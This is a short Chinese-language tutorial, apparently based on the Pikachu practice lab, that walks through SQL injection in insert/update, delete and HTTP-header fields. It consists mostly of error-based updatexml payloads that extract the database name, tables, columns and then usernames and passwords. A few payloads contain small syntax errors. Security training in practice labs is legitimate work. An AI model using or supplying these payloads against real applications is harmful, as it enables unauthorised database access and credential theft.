sql注入之常见注入的操作步骤
insert/update 注入 (俩种方法注入相同)
update注入 (在修改信息的时候,后台就是通过update去找操作的)
insert注入(insert 注入是指我们前端注册的信息,后台就是通过
insert这个操作插入到数据库中)
①在注册信息处抓包
②insert判断注入:单引号报错 存在注入,报错信息为’1234’),'1’1’1’1)
③基于报错信息进行注入,构造payload
爆数据库:1234’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)or’
④爆数据表:1234’ or updatexml(1,concat(0x7e(select table_name from information_schema.tables where table_schema=‘pikachu’),0x7e),1)or’
⑤爆数据列:1234’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1)or’
⑥爆用户名密码:1234’ or updatexml(1,concat(0x7e,(select concat (username,0x7e,password)from users limit 0,1),0x7e),1)or’
delete注入(可以用于删除数据的地方)
①判断注入:单引号报错存在注入
②爆数据库:56 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
③爆数据表:56 or updatexml(1,concat(0x7e,(select table_name information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1)or’
④爆数据列:56 or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1)
⑤爆用户名密码字段:56 or updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)
http头部注入(常见的头部注入有:User-Agent , Referer,Cookie,X-forward-for)
①判断注入:登入后抓包修改User-Agent为单引号报错
②爆数据库:'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ’
③报数据表:’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1) or ’
④爆数据列:’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1) or’
⑤爆用户名密码字段:1234’ or updatexml(1,concat(0x7e,(select concat(username,0x7e,password)from users limit 0,1),0x7e),1) or’